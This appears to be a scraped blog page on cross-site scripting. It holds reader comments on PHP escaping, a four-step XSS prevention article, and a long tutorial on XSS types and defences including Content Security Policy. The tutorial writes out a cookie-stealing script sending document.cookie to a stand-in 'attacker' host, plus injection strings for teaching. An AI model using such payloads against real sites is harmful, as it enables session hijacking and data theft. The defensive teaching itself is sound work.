          Yes, it’s just example code, and a very valuable article that has helped me as I’m learning security, but without the guy’s comment above explaining the reason not to mix htmlspecialchars with strip_tags I would’ve missed a very valuable point. What is the point of putting up “example code” (with the purpose of teaching people something) if what you’re teaching is wrong, and then when someone corrects it, chiming in to say, “Hey, it’s just example code.” That’s kind of like explaining to someone how to bake a cake, and telling them to put the wrong ingredients in it so it comes out tasting terrible, and then when someone calls you on it, saying, “Hey, I was just giving them an example.”

      2. hidden evil | July 17, 2012 at 11:51 pm

        its because of these tutorials not explained correctly PHP gurus still have a hard time explaining to the other communities….there is nothing like sample code or example code plz…if you intend to write, plz do R&D and then spit out…

  3. Omar Abdallah | May 2, 2012 at 1:41 am

    according to the manual: ISO-8859-1, ISO-8859-15, UTF-8, cp866, cp1251, cp1252, and KOI8-R are effectively equivalent for htmlspecialchars().
    however its recommended to set the encoding.

  4. Timothy Boronczyk | May 2, 2012 at 2:31 pm

    Yes, it is recommended that you set the encoding of your pages. You can either do so with an HTTP Content-Type header or a <meta> tag. But I believe if either are missing, UTF-8 will generally be assumed. And in all honesty, UTF-8 *should* be used. So htmlspecialchars() will be sufficient for at least 99.9% of developers. For the remaining developers, the article mirrors the official PHP documentation in stating that if you’re using an encoding other than UTF-8 or ISO-8859-1 then you’ll want to use htmlentities().

  5. Alex Gervasio | May 2, 2012 at 6:35 pm

    George,
    I don’t want to sound too picky, as I’m assuming you did it that way just to keep the examples easier to follow, which is understandable. Even so, it’s fair to point out that “comments.txt” is a writable file exposed to the outside world and accessible via the browser. In all cases, it should be moved out of the web access path. As you know, there’s plenty of nifty options to achieve this.
    Nice writeup, though.

    1. question | June 3, 2012 at 7:30 pm

      Would it be good enough to write a .htaccess file along with the comments.txt with a deny form all statement?
      I often wonder what the risk are invovled in Flat File storage. Also this is a good talk about XXS but this is also very general knowledge and one of the first things I read on php.net’s website when I started learning about PHP. That said good intro and you did point to the same resources I use for testing against XSS. Just wish you could have gone into some more advanced stuff like how to secure input that allows HTML etc… CSRF with hidden inputs etc….

  6. George Fekete | May 4, 2012 at 1:41 am

    Hey Alex,
    You’re right, I did make the examples super easy to focus only on XSS. Making the file secure by restricting access / moving out of the document root is out of scope.

  7. Vin | May 8, 2012 at 10:43 am

    Just a thought, is strip_tags() alone all that good? I usually clean the user input by passing them through a small function
    $cleanval=trim($userval);
    $cleanval=strip_tags($cleanval);
    $cleanval=stripslashes($cleanval);
    $cleanval=mysql_real_escape_string($cleanval);
    $cleanval=htmlspecialchars($cleanval);

    1. codeguy | October 21, 2012 at 2:17 pm

      I could be wrong, but I believe that the line
      $cleanval=mysql_real_escape_string($cleanval);
      will only work if a mysql connection has already been established.

  8. George Fekete | May 9, 2012 at 12:56 am

    As I wrote in the article, it depends on the context you sanitizing the user input. If you’re not interested in preserving HTML or any other tags, then strip_tags does the job.

  9. Philip Kavanagh | May 9, 2012 at 10:45 am

    There is no all-in-one solution to XSS. It really depends on the data you are trying to output. XSS should be treated before output not at input. Consider a CMS where an admin needs to add a snippet of CSS/JS. These need to be inserted/edited in their raw format. htmlspecialchars($var, ENT_QUOTES, ‘UTF-8′) should be used at the very basic XSS protection

  10. @FrankForte | May 9, 2012 at 7:22 pm

    I recently learned more about csrf (cross site request forgery) which seems as dangerous.

    the basic concern:
    Log into one website, call it bank.com and sign in
    Open another tab or click a link to a second website. If that second website has a malicious image or Javascript, it can post to bank.com using your cookie (since you are still logged in, the website might accept the post unless other security measures prevent this.)

    Make sure you set cookies to http only!

  11. @FrankForte | May 9, 2012 at 7:29 pm

    @ Philip, what if you store data as a serialized object then output as json for use in a html app? Escaping output becomes difficult… if you know data is only used in html, escaping on all user input can be a global safety net where output filtering might miss something. I agree escaping on output is better, but some cases it is not as practical.

  12. Peter | May 10, 2012 at 4:30 pm

    To display html code you can transform the to > and <
    Furthermore, there is always a chance you missed a value to sanatize. I am not a fan of Joomla CMS, but they transform al sanaitized user input to a safe array: $IN[‘your_values_can_be_a_multi_array_too’]. This counts for all user input like $_POST,$_GET,$_COOOKIE and so on.
    So, using only userinput from $IN you wont’t forget anything:)
    Just sanatize the right way, before putting it in $IN array.

  13. Jason Knight | May 11, 2012 at 3:53 pm

    It is a laugh how 99.99% of such exploits can be shut down by simply using prepared queries (so data is auto-sanitized) and htmlspecialchars on output… even more laughable how few people seem to know that.

    1. George | May 16, 2012 at 1:39 am

      I’m with you on this, but bare in mind that you’re talking about two different things. Prepared statements are used by SQL when you want to save your data in a database.

      XSS attacks are not restricted to database only.

  14. Jon | July 25, 2012 at 11:54 am

    Very good article. Thank you for helping me to better understanding XSS attacks and how to write better code to prevent it.

  15. gern | August 28, 2012 at 11:15 am

    um…I think it’s “bear in mind” not “bare in mind”. 🙂

    1. Timothy Boronczyk | August 28, 2012 at 6:51 pm

      Fixed… thanks!

  16. moi | October 20, 2012 at 3:46 pm

    Hello
    I submitted a forum and was redirected to a page saying xss attacked with my ip address
    What should I do now?

  17. Garbage In, Garbage Out | February 12, 2013 at 12:28 pm

    I would have referred others here if only you hadn’t advocated the use of strip_tags. Instead I have to add this article to the junk pile. The solution you promote would prevent anyone from talking about or citation styles .

  18. PeeceBabs | April 9, 2013 at 1:27 am

    Hello. Do anyone know what is all about this cookie acceptation thing? Is it safe?

    Thanks for answer

  19. Sevar | June 10, 2013 at 6:10 pm

    A good article. However, I did not like the fact that you used only preg_replace() and preg_match() functions on a user inputted data and then echoed it out. I understand that this will work in the case you mentioned, but it is a bad practice to only use validation before echoing out user-inputted data. Think about how easy it is for people to mess up their regular expressions!
    Also you used htmlspecialchars($comments), again a very bad practice, you should always use htmlspecialchars($comments, ENT_QUOTES, ‘UTF-8′);
    However, it is a good article on it self but not a good explanation of XSS. I highly recommend you use this article on XSS: http://www.sunnytuts.com/article/preventing-cross-site-scripting-xss

  20. Mohammad | June 23, 2013 at 4:02 pm

    Very useful. tnx

Comments on this post are closed.

xss preventation

Posted on

XSS Prevention in Four Simple Steps

February 1, 2012 · by · in , ,
Sex Cam

Preventing Cross Site Scripting (XSS) attacks is a daunting task for developers. In short, XSS attacks are an injection attack in which data that is structurally significant in the current context changes the intended semantics and/or functionality. While there are great resources online that walk you through prevention techniques (one of the best security resources is The Open Web Application Security Project, or OWASP, website), it’s easy to get confused when you try to implement all of the necessary safeguards.

Below, I’ve outlined four simple steps that significantly lower the risk of XSS attacks against your website. By being a bit more restrictive, we can simplify our approach to preventing XSS in the most common use cases. These steps must all be implemented together, but there’s only four of them, so c’mon, you can do it :)

Step 1: Escape Output Provided by Users

If you want to include data within a page that’s been provided by users, escape the output. And, in this simplified list, we’re going to stick with one simple escape operation: HTML encode any <>&. For example, PHP provides the htmlspecialchars() function to accomplish this common task.

Step 2: Always Use XHTML

Read through OWASP’s XSS prevention strategies, and it becomes apparent that protecting against injection requires much more effort if you use unquoted attributes in your HTML. In contrast, in quoted attributes, escaping data becomes the same process needed to escape data for content within tags, the escape operation we already outlined above. That’s because the only troublemaker in terms of sneaking in structurally significant content within the context of a quoted attribute is the closing quote.

Obviously, your markup doesn’t have to be XHTML in order to contain quoted attributes. However, shooting for and validating against XHTML makes it easy to test if all of the attributes are quoted.

Step 3: Only Allow Alphanumeric Data Values in CSS and JavaScript

We need to limit the data you allow from users that will be output within CSS and Javascript sections of the page to alphanumeric (e.g., a regex like [a-zA-Z0-9]+) types, and make sure they are used in a context in which they truly represent values. In Javascript this means user data should only be output within quoted strings assigned to variables (e.g., var userId = “ALPHANUMERIC_USER_ID_HERE”;.) In CSS this means that user data should only be output within the context for a property value (e.g., p { color: #ALPHANUMERIC_USER_COLOR_HERE;}.) This might seem Draconian, but, hey, this is supposed to be a simple XSS tutorial ;)

Now, to be clear, you should always validate user data to make sure it meets your expectations, even for data that’s output within tags or attributes, as in the earlier examples. However, it’s especially important for CSS and JavaScript regions, as the complexity of the possible data structures makes it exceedingly difficult to prevent XSS attacks.

Common data you might want users to be able supply to your JavaScript such as Facebook, Youtube, and Twitter ID’s can all be used whilst accommodating this restriction.   And, CSS color attributes and other styles can be integrated, too.

Step 4: URL-Encode URL Query String Parameters

If user data is output within a URL parameter of a link query string, make sure to URL-encode the data.  Again, using PHP as example, you can simply use the urlencode() function. Now, let’s be clear on this and work through a couple examples, as I’ve seen much confusion concerning this particular point.

Must URL-encode

The following example outputs user data that must be URL-encoded because it is used as a value in the query string.

<a href=”http://site.com?id=USER_DATA_HERE_MUST_BE_URL_ENCODED”>

Must Not URL-Encode

The following example outputs the user-supplied data for the entire URL. In this case, the user data should be escaped with the standard escape function (HTML encode any <>&), not URL-encoded. URL-encoding this example would lead to malformed links.

<a href=”USER_DATA_HERE_MUST_USE_STANDARD_HTML_ESCAPING”>

Summary

Let me be clear: These four steps don’t instantly secure a website against all XSS attacks, and I purposely skipped over some very important, related topics (cookie settings, DOM Injection, the risk of including user-provided data in data-schemed URI’s, other contexts such as SVG, etc) that the OWASP website covers very well. Additionally, the limitations outlined above may be too restrictive for some websites, although the number of websites that truly has to offer more flexibility in terms of CSS and Javascript output is likely very small.

That said, these four steps provide a an approach to defending against XSS that is easily remembered and implemented, covers a broad range of typical website scenarios, and serves as a solid start for developers who are learning how to address basic security concerns.

 

Leave a Reply

Name *

Email *

Website

 

XSS

Posted on

Excess XSS

A comprehensive tutorial on cross-site scripting

Created by Jakob Kallin and Irene Lobo Valbuena

  1. Overview
  2. XSS Attacks
  3. Preventing XSS
  4. Summary

Part One: Overview

What is XSS?

Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript in another user’s browser.

The attacker does not directly target his victim. Instead, he exploits a vulnerability in a website that the victim visits, in order to get the website to deliver the malicious JavaScript for him. To the victim’s browser, the malicious JavaScript appears to be a legitimate part of the website, and the website has thus acted as an unintentional accomplice to the attacker.

How the malicious JavaScript is injected

The only way for the attacker to run his malicious JavaScript in the victim’s browser is to inject it into one of the pages that the victim downloads from the website. This can happen if the website directly includes user input in its pages, because the attacker can then insert a string that will be treated as code by the victim’s browser.

In the example below, a simple server-side script is used to display the latest comment on a website:

print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"

The script assumes that a comment consists only of text. However, since the user input is included directly, an attacker could submit this comment: “<script>...</script>“. Any user visiting the page would now receive the following response:

<html>
Latest comment:
<script>...</script>
</html>

When the user’s browser loads the page, it will execute whatever JavaScript code is contained inside the <script> tags. The attacker has now succeeded with his attack.

What is malicious JavaScript?

At first, the ability to execute JavaScript in the victim’s browser might not seem particularly malicious. After all, JavaScript runs in a very restricted environment that has extremely limited access to the user’s files and operating system. In fact, you could open your browser’s JavaScript console right now and execute any JavaScript you want, and you would be very unlikely to cause any damage to your computer.

However, the possibility of JavaScript being malicious becomes more clear when you consider the following facts:

  • JavaScript has access to some of the user’s sensitive information, such as cookies.

  • JavaScript can send HTTP requests with arbitrary content to arbitrary destinations by using XMLHttpRequest and other mechanisms.

  • JavaScript can make arbitrary modifications to the HTML of the current page by using DOM manipulation methods.

These facts combined can cause very serious security breaches, as we will explain next.

The consequences of malicious JavaScript

Among many other things, the ability to execute arbitrary JavaScript in another user’s browser allows an attacker to perform the following types of attacks:

Cookie theft

The attacker can access the victim’s cookies associated with the website using document.cookie, send them to his own server, and use them to extract sensitive information like session IDs.

Keylogging

The attacker can register a keyboard event listener using addEventListener and then send all of the user’s keystrokes to his own server, potentially recording sensitive information such as passwords and credit card numbers.

Phishing

The attacker can insert a fake login form into the page using DOM manipulation, set the form’s action attribute to target his own server, and then trick the user into submitting sensitive information.

Although these attacks differ significantly, they all have one crucial similarity: because the attacker has injected code into a page served by the website, the malicious JavaScript is executed in the context of that website. This means that it is treated like any other script from that website: it has access to the victim’s data for that website (such as cookies) and the host name shown in the URL bar will be that of the website. For all intents and purposes, the script is considered a legitimate part of the website, allowing it to do anything that the actual website can.

This fact highlights a key issue:

If an attacker can use your website to execute arbitrary JavaScript in another user’s browser, the security of your website and its users has been compromised.

To emphasize this point, some examples in this tutorial will leave out the details of a malicious script by only showing <script>...</script>. This indicates that the mere presence of a script injected by the attacker is the problem, regardless of which specific code the script actually executes.

Part Two: XSS Attacks

Actors in an XSS attack

Before we describe in detail how an XSS attack works, we need to define the actors involved in an XSS attack. In general, an XSS attack involves three actors: the website, the victim, and the attacker.

  • The website serves HTML pages to users who request them. In our examples, it is located at http://website/.

    • The website’s database is a database that stores some of the user input included in the website’s pages.

  • The victim is a normal user of the website who requests pages from it using his browser.

  • The attacker is a malicious user of the website who intends to launch an attack on the victim by exploting an XSS vulnerability in the website.

    • The attacker’s server is a web server controlled by the attacker for the sole purpose of stealing the victim’s sensitive information. In our examples, it is located at http://attacker/.

An example attack scenario

In this example, we will assume that the attacker’s ultimate goal is to steal the victim’s cookies by exploiting an XSS vulnerability in the website. This can be done by having the victim’s browser parse the following HTML code:

<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

This script navigates the user’s browser to a different URL, triggering an HTTP request to the attacker’s server. The URL includes the victim’s cookies as a query parameter, which the attacker can extract from the request when it arrives to his server. Once the attacker has acquired the cookies, he can use them to impersonate the victim and launch further attacks.

From now on, the HTML code above will be referred to as the malicious string or the malicious script. It is important to note that the string itself is only malicious if it ultimately gets parsed as HTML in the victim’s browser, which can only happen as the result of an XSS vulnerability in the website.

How the example attack works

The diagram below illustrates how this example attack can be performed by an attacker:

Diagram of a persistent XSS attack
  1. The attacker uses one of the website’s forms to insert a malicious string into the website’s database.

  2. The victim requests a page from the website.

  3. The website includes the malicious string from the database in the response and sends it to the victim.

  4. The victim’s browser executes the malicious script inside the response, sending the victim’s cookies to the attacker’s server.

Types of XSS

While the goal of an XSS attack is always to execute malicious JavaScript in the victim’s browser, there are few fundamentally different ways of achieving that goal. XSS attacks are often divided into three types:

  • Persistent XSS, where the malicious string originates from the website’s database.

  • Reflected XSS, where the malicious string originates from the victim’s request.

  • DOM-based XSS, where the vulnerability is in the client-side code rather than the server-side code.

The previous example illustrated a persistent XSS attack. We will now describe the other two types of XSS attacks: reflected XSS and DOM-based XSS.

Reflected XSS

In a reflected XSS attack, the malicious string is part of the victim’s request to the website. The website then includes this malicious string in the response sent back to the user. The diagram below illustrates this scenario:

Diagram of a persistent XSS attack
  1. The attacker crafts a URL containing a malicious string and sends it to the victim.

  2. The victim is tricked by the attacker into requesting the URL from the website.

  3. The website includes the malicious string from the URL in the response.

  4. The victim’s browser executes the malicious script inside the response, sending the victim’s cookies to the attacker’s server.

How can reflected XSS succeed?

At first, reflected XSS might seem harmless because it requires the victim himself to actually send a request containing a malicious string. Since nobody would willingly attack himself, there seems to be no way of actually performing the attack.

As it turns out, there are at least two common ways of causing a victim to launch a reflected XSS attack against himself:

  • If the user targets a specific individual, the attacker can send the malicious URL to the victim (using e-mail or instant messaging, for example) and trick him into visiting it.

  • If the user targets a large group of people, the attacker can publish a link to the malicious URL (on his own website or on a social network, for example) and wait for visitors to click it.

These two methods are similar, and both can be more successful with the use of a URL shortening service, which masks the malicious string from users who might otherwise identify it.

DOM-based XSS

DOM-based XSS is a variant of both persistent and reflected XSS. In a DOM-based XSS attack, the malicious string is not actually parsed by the victim’s browser until the website’s legitimate JavaScript is executed. The diagram below illustrates this scenario for a reflected XSS attack:

Diagram of a DOM-based XSS attack
  1. The attacker crafts a URL containing a malicious string and sends it to the victim.

  2. The victim is tricked by the attacker into requesting the URL from the website.

  3. The website receives the request, but does not include the malicious string in the response.

  4. The victim’s browser executes the legitimate script inside the response, causing the malicious script to be inserted into the page.

  5. The victim’s browser executes the malicious script inserted into the page, sending the victim’s cookies to the attacker’s server.

What makes DOM-based XSS different

In the previous examples of persistent and reflected XSS attacks, the server inserts the malicious script into the page, which is then sent in a response to the victim. When the victim’s browser receives the response, it assumes the malicious script to be part of the page’s legitimate content and automatically executes it during page load as with any other script.

In the example of a DOM-based XSS attack, however, there is no malicious script inserted as part of the page; the only script that is automatically executed during page load is a legitimate part of the page. The problem is that this legitimate script directly makes use of user input in order to add HTML to the page. Because the malicious string is inserted into the page using innerHTML, it is parsed as HTML, causing the malicious script to be executed.

The difference is subtle but important:

  • In traditional XSS, the malicious JavaScript is executed when the page is loaded, as part of the HTML sent by the server.

  • In DOM-based XSS, the malicious JavaScript is executed at some point after the page has loaded, as a result of the page’s legitimate JavaScript treating user input in an unsafe way.

Why DOM-based XSS matters

In the previous example, JavaScript was not necessary; the server could have generated all the HTML by itself. If the server-side code were free of vulnerabilities, the website would then be safe from XSS.

However, as web applications become more advanced, an increasing amount of HTML is generated by JavaScript on the client-side rather than by the server. Any time content needs to be changed without refreshing the entire page, the update must be performed using JavaScript. Most notably, this is the case when a page is updated after an AJAX request.

This means that XSS vulnerabilities can be present not only in your website’s server-side code, but also in your website’s client-side JavaScript code. Consequently, even with completely secure server-side code, the client-side code might still unsafely include user input in a DOM update after the page has loaded. If this happens, the client-side code has enabled an XSS attack through no fault of the server-side code.

DOM-based XSS invisible to the server

There is a special case of DOM-based XSS in which the malicious string is never sent to the website’s server to begin with: when the malicious string is contained in a URL’s fragment identifier (anything after the # character). Browsers do not send this part of the URL to servers, so the website has no way of accessing it using server-side code. The client-side code, however, has access to it and can thus cause XSS vulnerabilities by handling it unsafely.

This situation is not limited to fragment identifiers. Other user input that is invisible to the server includes new HTML5 features like LocalStorage and IndexedDB.

Part Three: Preventing XSS

Methods of preventing XSS

Recall that an XSS attack is a type of code injection: user input is mistakenly interpreted as malicious program code. In order to prevent this type of code injection, secure input handling is needed. For a web developer, there are two fundamentally different ways of performing secure input handling:

  • Encoding, which escapes the user input so that the browser interprets it only as data, not as code.

  • Validation, which filters the user input so that the browser interprets it as code without malicious commands.

While these are fundamentally different methods of preventing XSS, they share several common features that are important to understand when using either of them:

Context

Secure input handling needs to be performed differently depending on where in a page the user input is inserted.

Inbound/outbound

Secure input handling can be performed either when your website receives the input (inbound) or right before your website inserts the input into a page (outbound).

Client/server

Secure input handling can be performed either on the client-side or on the server-side, both of which are needed under different circumstances.

Before explaining in detail how encoding and validation work, we will describe each of these points.

Input handling contexts

There are many contexts in a web page where user input might be inserted. For each of these, specific rules must be followed so that the user input cannot break out of its context and be interpreted as malicious code. Below are the most common contexts:

Context Example code
HTML element content <div>userInput</div>
HTML attribute value <input value="userInput">
URL query value http://example.com/?parameter=userInput
CSS value color: userInput
JavaScript value var name = "userInput";
Why context matters

In all of the contexts described, an XSS vulnerability would arise if user input were inserted before first being encoded or validated. An attacker would then be able to inject malicious code by simply inserting the closing delimiter for that context and following it with the malicious code.

For example, if at some point a website inserts user input directly into an HTML attribute, an attacker would be able to inject a malicious script by beginning his input with a quotation mark, as shown below:

Application code <input value="userInput">
Malicious string "><script>...</script><input value="
Resulting code <input value=""><script>...</script><input value="">

This could be prevented by simply removing all quotation marks in the user input, and everything would be fine—but only in this context. If the same input were inserted into another context, the closing delimiter would be different and injection would become possible. For this reason, secure input handling always needs to be tailored to the context where the user input will be inserted.

Inbound/outbound input handling

Instinctively, it might seem that XSS can be prevented by encoding or validating all user input as soon as your website receives it. This way, any malicious strings should already have been neutralized whenever they are included in a page, and the scripts generating HTML will not have to concern themselves with secure input handling.

The problem is that, as described previously, user input can be inserted into several contexts in a page. There is no easy way of determining when user input arrives which context it will eventually be inserted into, and the same user input often needs to be inserted into different contexts. Relying on inbound input handling to prevent XSS is thus a very brittle solution that will be prone to errors. (The deprecated “magic quotes” feature of PHP is an example of such a solution.)

Instead, outbound input handling should be your primary line of defense against XSS, because it can take into account the specific context that user input will be inserted into. That being said, inbound validation can still be used to add a secondary layer of protection, as we will describe later.

Where to perform secure input handling

In most modern web applications, user input is handled by both server-side code and client-side code. In order to protect against all types of XSS, secure input handling must be performed in both the server-side code and the client-side code.

  • In order to protect against traditional XSS, secure input handling must be performed in server-side code. This is done using any language supported by the server.

  • In order to protect against DOM-based XSS where the server never receives the malicious string (such as the fragment identifier attack described earlier), secure input handling must be performed in client-side code. This is done using JavaScript.

Now that we have explained why context matters, why the distinction between inbound and outbound input handling is important, and why secure input handling needs to be performed in both client-side code and server-side code, we will go on to explain how the two types of secure input handling (encoding and validation) are actually performed.

Encoding

Encoding is the act of escaping user input so that the browser interprets it only as data, not as code. The most recognizable type of encoding in web development is HTML escaping, which converts characters like < and > into &lt; and &gt;, respectively.

The following pseudocode is an example of how user input could be encoded using HTML escaping and then inserted into a page by a server-side script:

print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>"

If the user input were the string <script>...</script>, the resulting HTML would be as follows:

<html>
Latest comment:
&lt;script&gt;...&lt;/script&gt;
</html>

Because all characters with special meaning have been escaped, the browser will not parse any part of the user input as HTML.

Encoding in client-side and server-side code

When performing encoding in your client-side code, the language used is always JavaScript, which has built-in functions that encode data for different contexts.

When performing encoding in your server-side code, you rely on the functions available in your server-side language or framework. Due to the large number of languages and frameworks available, this tutorial will not cover the details of encoding in any specific server-side language or framework. However, familiarity with the encoding functions used on the client-side in JavaScript is useful when writing server-side code as well.

Encoding on the client-side

When encoding user input on the client-side using JavaScript, there are several built-in methods and properties that automatically encode all data in a context-aware manner:

Context Method/property
HTML element content node.textContent = userInput
HTML attribute value element.setAttribute(attribute, userInput)
or
element[attribute] = userInput
URL query value window.encodeURIComponent(userInput)
CSS value element.style.property = userInput

The last context mentioned above (JavaScript values) is not included in this list, because JavaScript provides no built-in way of encoding data to be included in JavaScript source code.

Limitations of encoding

Even with encoding, it will be possible to input malicious strings into some contexts. A notable example of this is when user input is used to provide URLs, such as in the example below:

document.querySelector('a').href = userInput

Although assigning a value to the href property of an anchor element automatically encodes it so that it becomes nothing more than an attribute value, this in itself does not prevent the attacker from inserting a URL beginning with “javascript:“. When the link is clicked, whatever JavaScript is embedded inside the URL will be executed.

Encoding is also an inadequate solution when you actually want the user to define part of a page’s code. An example is a user profile page where the user can define custom HTML. If this custom HTML were encoded, the profile page could consist only of plain text.

In situations like these, encoding has to be complemented with validation, which we will describe next.

Validation

Validation is the act of filtering user input so that all malicious parts of it are removed, without necessarily removing all code in it. One of the most recognizable types of validation in web development is allowing some HTML elements (such as <em> and <strong>) but disallowing others (such as <script>).

There are two main characteristics of validation that differ between implementations:

Classification strategy

User input can be classified using either blacklisting or whitelisting.

Validation outcome

User input identified as malicious can either be rejected or sanitised.

Classification strategy

Blacklisting

Instinctively, it seems reasonable to perform validation by defining a forbidden pattern that should not appear in user input. If a string matches this pattern, it is then marked as invalid. An example would be to allow users to submit custom HTML that contains any elements except <script>. This classification strategy is called blacklisting.

However, blacklisting has two major drawbacks:

Complexity

Accurately describing the set of all possible malicious strings is a very complex task. The example policy described above could not be successfully implemented by simply searching for the substring “<script>“, because this would miss strings of the form “<script >” and “<SCRIPT>“. In a language as complex as HTML, many other such cases exist, and detecting all of them is very difficult.

Staleness

Even if a perfect blacklist were developed, it would fail if a new feature allowing malicious use were added to the browser. For example, a blacklist developed before the introduction of the HTML5 onmousewheel attribute would fail to stop an attacker from using that attribute to perform an XSS attack. This drawback is especially significant in web development, which is made up of many different technologies that are constantly being updated.

Because of these drawbacks, blacklisting as a classification strategy is strongly discouraged. Whitelisting is usually a much safer approach, as we will describe next.

Whitelisting

Whitelisting is essentially the opposite of blacklisting: instead of defining a forbidden pattern, a whitelist approach defines an allowed pattern and marks input as invalid if it does not match this pattern.

In contrast with the blacklisting example before, an example of whitelisting would be to allow users to submit custom HTML containing only the tags <em> and <strong>, nothing else. This approach would automatically mark input as invalid if it contained the tag <script>, even if it appeared as “<script >” or “<SCRIPT>“.

Compared to blacklisting, there are two major benefits of whitelisting:

Simplicity

Accurately describing a set of safe strings is generally much easier than identifying the set of all malicious strings. This is especially true in common situations where user input only needs to include a very limited subset of the functionality available in a browser. For example, defining a whitelist allowing only URLs starting with “http://” is very simple, and perfectly adequate for users in most situations.

Longevity

Unlike a blacklist, a whitelist will generally not become obsolete when a new feature is added to the browser. For example, a whitelist allowing only the title attribute on HTML elements would remain safe even if it was developed before the introduction of HTML5 onmousewheel attribute.

Validation outcome

When input has been marked as invalid, one of two actions can be taken:

Rejection

The input is simply rejected, preventing it from being used elsewhere in the website.

Sanitisation

All invalid parts of the input are removed, and the remaining input is used normally by the website.

Of these two, rejection is the simplest approach to implement. That being said, sanitisation can be more useful since it allows a broader range of input from the user. For example, if a user submits a credit card number, a sanitisation routine that removes all non-digit characters would prevent code injection as well as allowing the user to enter the number either with or without hyphens.

If you decide to implement sanitisation, you must make sure that the sanitisation routine itself doesn’t use a blacklisting approach. For example, the string “<p>...</p><SCRIPT>...</SCRIPT>“, even when identified as invalid using a whitelist approach, would get past a sanitisation routine that simply removes all instances of “<script>“. For this reason, well-tested libraries and frameworks should be used for sanitisation whenever possible.

Which prevention technique to use

Encoding should be your first line of defense against XSS, because its very purpose is to neutralize data so that it cannot be interpreted as code. In some cases, encoding needs to be complemented with validation, as explained earlier. This encoding and validation should be outbound, because only when the input is included in a page do you know which context to encode and validate for.

As a second line of defense, you should use inbound validation to sanitize or reject data that is clearly invalid, such as links using the javascript: protocol. While this cannot by itself provide full security, it is a useful precaution if at any point outbound encoding and validation is improperly performed due to mistakes or errors.

If these two lines of defense are used consistently, your website will be protected from XSS attacks. However, due to the complexity of creating and maintaining an entire website, achieving full protection using only secure input handling can be difficult. As a third line of defense, you should also make use of Content Security Policy (CSP), which we will describe next.

Content Security Policy (CSP)

The disadvantage of protecting against XSS by using only secure input handling is that even a single lapse of security can compromise your website. A recent web standard called Content Security Policy (CSP) can mitigate this risk.

CSP is used to constrain the browser viewing your page so that it can only use resources downloaded from trusted sources. A resource is a script, a stylesheet, an image, or some other type of file referred to by the page. This means that even if an attacker succeeds in injecting malicious content into your website, CSP can prevent it from ever being executed.

CSP can be used to enforce the following rules:

No untrusted sources

External resources can only be loaded from a set of clearly defined trusted sources.

No inline resources

Inline JavaScript and CSS will not be evaluated.

No eval

The JavaScript eval function cannot be used.

CSP in action

In the following example, an attacker has succeeded in injecting malicious code into a page:

<html>
Latest comment:
<script src="http://attacker/malicious‑script.js"></script>
</html>

With a properly defined CSP policy, the browser would not load and execute malicious‑script.js because http://attacker/ would not be in the set of trusted sources. Even though the website failed to securely handle user input in this case, the CSP policy prevented the vulnerability from causing any harm.

Even if the attacker had injected the script code inline rather than linking to an external file, a properly defined CSP policy disallowing inline JavaScript would also have prevented the vulnerability from causing any harm.

How to enable CSP

By default, browsers do not enforce CSP. To enable CSP on your website, pages must be served with an additional HTTP header: Content‑Security‑Policy. Any page served with this header will have its security policy respected by the browser loading it, providing that the browser supports CSP.

Since the security policy is sent with every HTTP response, it is possible for a server to set its policy on a page-by-page basis. The same policy can be applied to an entire website by providing the same CSP header in every response.

The value of the Content‑Security‑Policy header is a string defining one or more security policies that will take effect on your website. The syntax of this string will be described next.

The example headers in this section use newlines and indentation for clarity; this should not be present in an actual header.

Syntax of CSP

The syntax of a CSP header is as follows:

Content‑Security‑Policy:
    directive source‑expression, source‑expression, ...;
    directive ...;
    ...

This syntax is made up of two elements:

  • Directives are strings specifying a type of resource, taken from a predefined list.

  • Source expressions are patterns describing one or more servers that resources can be downloaded from.

For every directive, the given source expressions define which sources can be used to download resources of the respective type.

Directives

The directives that can be used in a CSP header are as follows:

  • connect‑src
  • font‑src
  • frame‑src
  • img‑src
  • media‑src
  • object‑src
  • script‑src
  • style‑src

In addition to these, the special directive default‑src can be used to provide a default value for all directives that have not been included in the header.

Source expressions

The syntax of a source expression is as follows:

protocol://host‑name:port‑number

The host name can start with *., which means that any subdomain of the provided host name will be allowed. Similarly, the port number can be *, which means that all ports will be allowed. Additionally, the protocol and port number can be omitted. Finally, a protocol can be given by itself, which makes it possible to require that all resources be loaded using HTTPS.

In addition to the syntax above, a source expression can alternatively be one of four keywords with special meaning (quotes included):

'none'

Allows no resources.

'self'

Allows resources from the host that served the page.

'unsafe‑inline'

Allows resources embedded in the page, such as inline <script> elements, <style> elements, and javascript: URLs.

'unsafe‑eval'

Allows the use of the JavaScript eval function.

Note that whenever CSP is used, inline resources and eval are automatically disallowed by default. Using 'unsafe‑inline' and 'unsafe‑eval' is the only way to allow them.

An example policy

Content‑Security‑Policy:
    script‑src 'self' scripts.example.com;
    media‑src 'none';
    img‑src *;
    default‑src 'self' http://*.example.com

In this example policy, the page is subject to the following restrictions:

  • Scripts can be downloaded only from the host serving the page and from scripts.example.com.

  • Audio and video files cannot be downloaded from anywhere.

  • Image files can be downloaded from any host.

  • All other resources can be downloaded only from the host serving the page and from any subdomain of example.com.

Status of CSP

As of June 2013, Content Security Policy is a W3C candidate recommendation. It is being implemented by browser vendors, but parts of it are still browser-specific. In particular, the HTTP header to use can differ between browsers. Before using CSP today, consult the documentation of the browsers that you intend to support.

Summary

Summary: Overview of XSS

  • XSS is a code injection attack made possible through insecure handling of user input.

  • A successful XSS attack allows an attacker to execute malicious JavaScript in a victim’s browser.

  • A successful XSS attack compromises the security of both the website and its users.

Summary: XSS Attacks

  • There are three major types of XSS attacks:

    • Persistent XSS, where the malicious input originates from the website’s database.

    • Reflected XSS, where the malicious input originates from the victim’s request.

    • DOM-based XSS, where the vulnerability is in the client-side code rather than the server-side code.

  • All of these attacks are performed in different ways but have the same effect if they succeed.

Summary: Preventing XSS

  • The most important way of preventing XSS attacks is to perform secure input handling.

    • Most of the time, encoding should be performed whenever user input is included in a page.

    • In some cases, encoding has to be replaced by or complemented with validation.

    • Secure input handling has to take into account which context of a page the user input is inserted into.

    • To prevent all types of XSS attacks, secure input handling has to be performed in both client-side and server-side code.

  • Content Security Policy provides an additional layer of defense for when secure input handling fails.

Appendix

Terminology

